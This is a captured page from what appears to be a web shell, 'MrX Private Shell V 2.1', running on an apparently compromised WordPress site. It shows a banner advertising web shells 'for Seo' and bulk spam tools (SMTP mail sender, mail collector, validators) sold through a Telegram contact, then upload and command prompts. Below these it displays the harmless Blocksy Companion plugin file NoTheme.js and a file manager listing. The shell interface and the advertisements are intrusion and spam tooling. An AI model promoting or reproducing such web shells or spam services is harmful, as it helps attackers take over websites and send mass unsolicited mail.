__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { createElement, useState } from '@wordpress/element'
import * as check from '@wordpress/element'
import { __ } from 'ct-i18n'

import { wpUpdatesAjax } from '../helpers/wp-updates'

const NoTheme = () => {
	const [isLoading, setIsLoading] = useState(false)

	const activateTheme = () => {
		if (!ctDashboardLocalizations.activate) {
			return
		}

		if (ctDashboardLocalizations.activate_multi_site) {
			fetch(ctDashboardLocalizations.activate_multi_site).then(
				(response) => {
					location = ctDashboardLocalizations.activate
				}
			)

			return
		}

		location = ctDashboardLocalizations.activate
	}

	return (
		<div className="ct-theme-required">
			<h2>
				<span>
					<svg viewBox="0 0 24 24">
						<path d="M12,23.6c-1.4,0-2.6-1-2.8-2.3L8.9,20h6.2l-0.3,1.3C14.6,22.6,13.4,23.6,12,23.6z M24,17.8H0l3.1-2c0.5-0.3,0.9-0.7,1.1-1.3c0.5-1,0.5-2.2,0.5-3.2V7.6c0-4.1,3.2-7.3,7.3-7.3s7.3,3.2,7.3,7.3v3.6c0,1.1,0.1,2.3,0.5,3.2c0.3,0.5,0.6,1,1.1,1.3L24,17.8zM6.1,15.6h11.8c0,0-0.1-0.1-0.1-0.2c-0.7-1.3-0.7-2.9-0.7-4.2V7.6c0-2.8-2.2-5.1-5.1-5.1c-2.8,0-5.1,2.2-5.1,5.1v3.6c0,1.3-0.1,2.9-0.7,4.2C6.1,15.5,6.1,15.6,6.1,15.6z" />
					</svg>
				</span>
				{__(
					'Action Required - Install Blocksy Theme',
					'blocksy-companion'
				)}
			</h2>
			<p>
				{__(
					'Blocksy Companion is the complementary plugin to Blocksy theme. It adds a bunch of great features to the theme and acts as an unlocker for the Blocksy Pro package.',
					'blocksy-companion'
				)}
			</p>

			<p>
				{__(
					'In order to take full advantage of all features it has to offer - please install and activate the Blocksy theme also.',
					'blocksy-companion'
				)}
			</p>

			{ctDashboardLocalizations.activate && (
				<button
					className="button button-primary"
					onClick={(e) => {
						e.preventDefault()

						setIsLoading(true)

						if (ctDashboardLocalizations.themeIsInstalled) {
							activateTheme()
							return
						}

						wpUpdatesAjax('install-theme', {
							success: (...a) => {
								setTimeout(() => {
									activateTheme()
								})
							},
							error: (...a) => {
								setTimeout(() => {
									activateTheme()
								})
							},
							slug: 'blocksy',
						})
					}}>
					{isLoading
						? __('Loading...', 'blocksy-companion')
						: __(
								'Install and activate the Blocksy theme',
								'blocksy-companion'
						  )}
				</button>
			)}
		</div>
	)
}

export default NoTheme

Filemanager

Name Type Size Permission Actions
helpers Folder 0775
screens Folder 0775
DashboardContext.js File 234 B 0775
NoLicense.js File 387 B 0775
NoTheme.js File 2.39 KB 0775
Filemanager